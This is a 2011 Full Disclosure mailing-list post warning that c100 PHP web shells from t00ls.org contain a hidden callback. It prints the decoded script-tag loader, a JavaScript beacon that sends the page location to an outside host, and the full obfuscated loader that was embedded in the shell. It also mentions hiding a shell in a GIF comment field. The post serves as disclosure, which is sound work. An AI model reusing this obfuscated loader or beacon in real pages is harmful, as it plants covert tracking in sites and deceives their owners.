Full Disclosure mailing list archives
Warning - t00ls.org hidden callback in shells
From: Seanybob <seanybob () gmail com>
Date: Tue, 5 Apr 2011 17:24:51 -0700
The c100 shell (and likely several of the shells) available at t00ls.org(which is one of the top ranked sites for various shell-related google searches, e.g. "c99 php<http://www.google.com/search?hl=en&rlz=1C1CHFX_enUS372US372&q=c99+php&aq=f&aqi=g3g-v7&aql=&oq=>") has a callback hidden within its code that contacts the site and lets them know where you installed the c100 shell. The backdoor code is obfuscated within the shell files (the encoded/obfuscated version will be attached to the bottom of this post). *Decoded, the backdoor script looks like this:* <SCRIPT SRC=http://data.t00ls.org/where.js></SCRIPT> *Contents of http://data.t00ls.org/where.js* a=new/**/Image();a.src=' http://xmors.byethost7.com/him.php?a='+escape(location.href); *http://xmors.byethost7.com/him.php receives the location of the installed script, then writes it to http://xmors.byethost7.com/mynameisahmed..html* The above page has lists of hundreds of sites that had the script installed. You'll notice many people ran it on a localhost, causing the script to save a localhost address. I ran into the site after testing an upload script I had on hand by embedding a c100 shell inside a GIF comment field. You'll see one of my domains (social-paste.com) on that list - however, I immediately removed the shell after I tested it. I became curious because I saw somebody from the byethost7.com domain in my logs attempting to access the shell which I had deleted, so I investigated. (His IP, for those curious to know, is 41.233.222.77, which seems to be from Cairo Egypt) This guy's him.php script is likely vulnerable to XSS attacks (I bet it writes the received variable straight into the html of the mynameisahmed..html file without sanitizing it). I purposely didn't test it, though. *The encoded script hidden in the c100 file:* <script type="text/javascript" language="javascript"> <!-- fF7eSD8=new Array(); fF7eSD8[0]="%3Cscript%3E%0Adocu"; fF7eSD8[1]="ment.write%28une"; fF7eSD8[2]="scape%28%22%253Cscri"; fF7eSD8[3]="pt%2520type%253D%25"; fF7eSD8[4]="22text/javascr"; fF7eSD8[5]="ipt%2522%253Edo"; fF7eSD8[6]="cument.write%25"; fF7eSD8[7]="28%2527%255Cu00"; fF7eSD8[8]="3c%255Cu0073%255C"; fF7eSD8[9]="u0063%255Cu0072"; fF7eSD8[10]="%255Cu0069%255Cu"; fF7eSD8[11]="0070%255Cu007"; fF7eSD8[12]="4%255Cu0020%255C"; fF7eSD8[13]="u0074%255Cu007"; fF7eSD8[14]="9%255Cu0070%255Cu"; fF7eSD8[15]="0065%255Cu003d%25"; fF7eSD8[16]="5Cu0022%255Cu0"; fF7eSD8[17]="074%255Cu0065%255C"; fF7eSD8[18]="u0078%255Cu0074%25"; fF7eSD8[19]="5Cu002f%255Cu"; fF7eSD8[20]="006a%255Cu0061%255"; fF7eSD8[21]="Cu0076%255Cu0"; fF7eSD8[22]="061%255Cu0073%25"; fF7eSD8[23]="5Cu0063%255Cu00"; fF7eSD8[24]="72%255Cu0069%25"; fF7eSD8[25]="5Cu0070%255Cu"; fF7eSD8[26]="0074%255Cu0022"; fF7eSD8[27]="%255Cu003e%255C"; fF7eSD8[28]="u0064%255Cu00"; fF7eSD8[29]="6f%255Cu0063%255C"; fF7eSD8[30]="u0075%255Cu006"; fF7eSD8[31]="d%255Cu0065%255Cu"; fF7eSD8[32]="006e%255Cu0074%255"; fF7eSD8[33]="Cu002e%255Cu00"; fF7eSD8[34]="77%255Cu0072%25"; fF7eSD8[35]="5Cu0069%255Cu"; fF7eSD8[36]="0074%255Cu0065%25"; fF7eSD8[37]="5Cu0028%255Cu002"; fF7eSD8[38]="7%255Cu005c%255Cu"; fF7eSD8[39]="0075%255Cu0030"; fF7eSD8[40]="%255Cu0030%255Cu0"; fF7eSD8[41]="033%255Cu0063%25"; fF7eSD8[42]="5Cu005c%255Cu007"; fF7eSD8[43]="5%255Cu0030%255Cu"; fF7eSD8[44]="0030%255Cu0035"; fF7eSD8[45]="%255Cu0033%255C"; fF7eSD8[46]="u005c%255Cu0075"; fF7eSD8[47]="%255Cu0030%255Cu"; fF7eSD8[48]="0030%255Cu003"; fF7eSD8[49]="4%255Cu0033%255"; fF7eSD8[50]="Cu005c%255Cu007"; fF7eSD8[51]="5%255Cu0030%255Cu"; fF7eSD8[52]="0030%255Cu0035%255"; fF7eSD8[53]="Cu0032%255Cu00"; fF7eSD8[54]="5c%255Cu0075%255C"; fF7eSD8[55]="u0030%255Cu0030%25"; fF7eSD8[56]="5Cu0034%255Cu00"; fF7eSD8[57]="39%255Cu005c%255Cu"; fF7eSD8[58]="0075%255Cu0030%255"; fF7eSD8[59]="Cu0030%255Cu003"; fF7eSD8[60]="5%255Cu0030%255C"; fF7eSD8[61]="u005c%255Cu0075"; fF7eSD8[62]="%255Cu0030%255Cu00"; fF7eSD8[63]="30%255Cu0035%255"; fF7eSD8[64]="Cu0034%255Cu005"; fF7eSD8[65]="c%255Cu0075%255C"; fF7eSD8[66]="u0030%255Cu0030%25"; fF7eSD8[67]="5Cu0032%255Cu"; fF7eSD8[68]="0030%255Cu005c%25"; fF7eSD8[69]="5Cu0075%255Cu00"; fF7eSD8[70]="30%255Cu0030%255"; fF7eSD8[71]="Cu0035%255Cu003"; fF7eSD8[72]="3%255Cu005c%255Cu0"; fF7eSD8[73]="075%255Cu0030"; fF7eSD8[74]="%255Cu0030%255Cu00"; fF7eSD8[75]="35%255Cu0032%25"; fF7eSD8[76]="5Cu005c%255Cu00"; fF7eSD8[77]="75%255Cu0030%255Cu"; fF7eSD8[78]="0030%255Cu003"; fF7eSD8[79]="4%255Cu0033%255Cu"; fF7eSD8[80]="005c%255Cu0075%25"; fF7eSD8[81]="5Cu0030%255Cu"; fF7eSD8[82]="0030%255Cu0033"; fF7eSD8[83]="%255Cu0064%255Cu0"; fF7eSD8[84]="05c%255Cu0075%25"; fF7eSD8[85]="5Cu0030%255Cu003"; fF7eSD8[86]="0%255Cu0036%255"; fF7eSD8[87]="Cu0038%255Cu0"; fF7eSD8[88]="05c%255Cu0075%255C"; fF7eSD8[89]="u0030%255Cu003"; fF7eSD8[90]="0%255Cu0037%255C"; fF7eSD8[91]="u0034%255Cu005c%25"; fF7eSD8[92]="5Cu0075%255Cu"; fF7eSD8[93]="0030%255Cu0030"; fF7eSD8[94]="%255Cu0037%255Cu"; fF7eSD8[95]="0034%255Cu005c%25"; fF7eSD8[96]="5Cu0075%255Cu00"; fF7eSD8[97]="30%255Cu0030%255Cu"; fF7eSD8[98]="0037%255Cu0030%255"; fF7eSD8[99]="Cu005c%255Cu00"; fF7eSD8[100]="75%255Cu0030%255"; fF7eSD8[101]="Cu0030%255Cu00"; fF7eSD8[102]="33%255Cu0061%255Cu"; fF7eSD8[103]="005c%255Cu0075"; fF7eSD8[104]="%255Cu0030%255C"; fF7eSD8[105]="u0030%255Cu0032%25"; fF7eSD8[106]="5Cu0066%255Cu00"; fF7eSD8[107]="5c%255Cu0075%255Cu"; fF7eSD8[108]="0030%255Cu0030%25"; fF7eSD8[109]="5Cu0032%255Cu0"; fF7eSD8[110]="066%255Cu005c"; fF7eSD8[111]="%255Cu0075%255Cu"; fF7eSD8[112]="0030%255Cu0030%25"; fF7eSD8[113]="5Cu0036%255Cu003"; fF7eSD8[114]="4%255Cu005c%255C"; fF7eSD8[115]="u0075%255Cu003"; fF7eSD8[116]="0%255Cu0030%255C"; fF7eSD8[117]="u0036%255Cu00"; fF7eSD8[118]="31%255Cu005c%255"; fF7eSD8[119]="Cu0075%255Cu00"; fF7eSD8[120]="30%255Cu0030%255Cu"; fF7eSD8[121]="0037%255Cu0034"; fF7eSD8[122]="%255Cu005c%255Cu00"; fF7eSD8[123]="75%255Cu0030%255C"; fF7eSD8[124]="u0030%255Cu003"; fF7eSD8[125]="6%255Cu0031%255"; fF7eSD8[126]="Cu005c%255Cu007"; fF7eSD8[127]="5%255Cu0030%255"; fF7eSD8[128]="Cu0030%255Cu0"; fF7eSD8[129]="032%255Cu0065"; fF7eSD8[130]="%255Cu005c%255C"; fF7eSD8[131]="u0075%255Cu0030%25"; fF7eSD8[132]="5Cu0030%255Cu003"; fF7eSD8[133]="7%255Cu0034%255Cu0"; fF7eSD8[134]="05c%255Cu0075%255C"; fF7eSD8[135]="u0030%255Cu00"; fF7eSD8[136]="30%255Cu0033%255C"; fF7eSD8[137]="u0030%255Cu005"; fF7eSD8[138]="c%255Cu0075%255Cu"; fF7eSD8[139]="0030%255Cu003"; fF7eSD8[140]="0%255Cu0033%255C"; fF7eSD8[141]="u0030%255Cu005"; fF7eSD8[142]="c%255Cu0075%255"; fF7eSD8[143]="Cu0030%255Cu0"; fF7eSD8[144]="030%255Cu0036%255C"; fF7eSD8[145]="u0063%255Cu005c"; fF7eSD8[146]="%255Cu0075%255C"; fF7eSD8[147]="u0030%255Cu00"; fF7eSD8[148]="30%255Cu0037%25"; fF7eSD8[149]="5Cu0033%255Cu00"; fF7eSD8[150]="5c%255Cu0075%255"; fF7eSD8[151]="Cu0030%255Cu00"; fF7eSD8[152]="30%255Cu0032%255"; fF7eSD8[153]="Cu0065%255Cu005c"; fF7eSD8[154]="%255Cu0075%255C"; fF7eSD8[155]="u0030%255Cu00"; fF7eSD8[156]="30%255Cu0036%255Cu"; fF7eSD8[157]="0066%255Cu005c%255"; fF7eSD8[158]="Cu0075%255Cu00"; fF7eSD8[159]="30%255Cu0030%255Cu"; fF7eSD8[160]="0037%255Cu0032%25"; fF7eSD8[161]="5Cu005c%255Cu007"; fF7eSD8[162]="5%255Cu0030%255C"; fF7eSD8[163]="u0030%255Cu0036%25"; fF7eSD8[164]="5Cu0037%255Cu00"; fF7eSD8[165]="5c%255Cu0075%255"; fF7eSD8[166]="Cu0030%255Cu0030"; fF7eSD8[167]="%255Cu0032%255Cu00"; fF7eSD8[168]="66%255Cu005c%255"; fF7eSD8[169]="Cu0075%255Cu0"; fF7eSD8[170]="030%255Cu0030%255C"; fF7eSD8[171]="u0037%255Cu0037"; fF7eSD8[172]="%255Cu005c%255Cu"; fF7eSD8[173]="0075%255Cu0030%25"; fF7eSD8[174]="5Cu0030%255Cu"; fF7eSD8[175]="0036%255Cu0038%255"; fF7eSD8[176]="Cu005c%255Cu007"; fF7eSD8[177]="5%255Cu0030%255"; fF7eSD8[178]="Cu0030%255Cu0036"; fF7eSD8[179]="%255Cu0035%255Cu00"; fF7eSD8[180]="5c%255Cu0075%255Cu"; fF7eSD8[181]="0030%255Cu003"; fF7eSD8[182]="0%255Cu0037%255C"; fF7eSD8[183]="u0032%255Cu00"; fF7eSD8[184]="5c%255Cu0075%255"; fF7eSD8[185]="Cu0030%255Cu0"; fF7eSD8[186]="030%255Cu0036%25"; fF7eSD8[187]="5Cu0035%255Cu0"; fF7eSD8[188]="05c%255Cu0075"; fF7eSD8[189]="%255Cu0030%255Cu0"; fF7eSD8[190]="030%255Cu0032"; fF7eSD8[191]="%255Cu0065%255Cu"; fF7eSD8[192]="005c%255Cu0075"; fF7eSD8[193]="%255Cu0030%255Cu00"; fF7eSD8[194]="30%255Cu0036%25"; fF7eSD8[195]="5Cu0061%255Cu"; fF7eSD8[196]="005c%255Cu007"; fF7eSD8[197]="5%255Cu0030%255"; fF7eSD8[198]="Cu0030%255Cu0037"; fF7eSD8[199]="%255Cu0033%255Cu0"; fF7eSD8[200]="05c%255Cu0075%255C"; fF7eSD8[201]="u0030%255Cu00"; fF7eSD8[202]="30%255Cu0033%255Cu"; fF7eSD8[203]="0065%255Cu005"; fF7eSD8[204]="c%255Cu0075%255Cu"; fF7eSD8[205]="0030%255Cu0030%25"; fF7eSD8[206]="5Cu0033%255Cu00"; fF7eSD8[207]="63%255Cu005c%255C"; fF7eSD8[208]="u0075%255Cu0030"; fF7eSD8[209]="%255Cu0030%255Cu0"; fF7eSD8[210]="032%255Cu0066%255"; fF7eSD8[211]="Cu005c%255Cu0"; fF7eSD8[212]="075%255Cu0030%25"; fF7eSD8[213]="5Cu0030%255Cu"; fF7eSD8[214]="0035%255Cu0033%255"; fF7eSD8[215]="Cu005c%255Cu007"; fF7eSD8[216]="5%255Cu0030%255Cu0"; fF7eSD8[217]="030%255Cu0034%255"; fF7eSD8[218]="Cu0033%255Cu00"; fF7eSD8[219]="5c%255Cu0075%25"; fF7eSD8[220]="5Cu0030%255Cu0"; fF7eSD8[221]="030%255Cu0035"; fF7eSD8[222]="%255Cu0032%255Cu0"; fF7eSD8[223]="05c%255Cu0075"; fF7eSD8[224]="%255Cu0030%255Cu"; fF7eSD8[225]="0030%255Cu0034%25"; fF7eSD8[226]="5Cu0039%255Cu0"; fF7eSD8[227]="05c%255Cu0075%25"; fF7eSD8[228]="5Cu0030%255Cu"; fF7eSD8[229]="0030%255Cu0035%25"; fF7eSD8[230]="5Cu0030%255Cu"; fF7eSD8[231]="005c%255Cu0075%255"; fF7eSD8[232]="Cu0030%255Cu0"; fF7eSD8[233]="030%255Cu0035"; fF7eSD8[234]="%255Cu0034%255Cu0"; fF7eSD8[235]="05c%255Cu0075"; fF7eSD8[236]="%255Cu0030%255Cu"; fF7eSD8[237]="0030%255Cu0033%255"; fF7eSD8[238]="Cu0065%255Cu0"; fF7eSD8[239]="027%255Cu0029"; fF7eSD8[240]="%255Cu003c%255C"; fF7eSD8[241]="u002f%255Cu0073%25"; fF7eSD8[242]="5Cu0063%255Cu007"; fF7eSD8[243]="2%255Cu0069%255Cu"; fF7eSD8[244]="0070%255Cu007"; fF7eSD8[245]="4%255Cu003e%2527%25"; fF7eSD8[246]="29%253C/script%25"; fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri"; fF7eSD8[248]="pt%3E"; for (i = 0; i < fF7eSD8.length; i ++) { document.write(unescape(fF7eSD8[i])) } // --> </script>
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Warning - t00ls.org hidden callback in shells Seanybob (Apr 06)
- Re: Warning - t00ls.org hidden callback in shells Seanybob (Apr 26)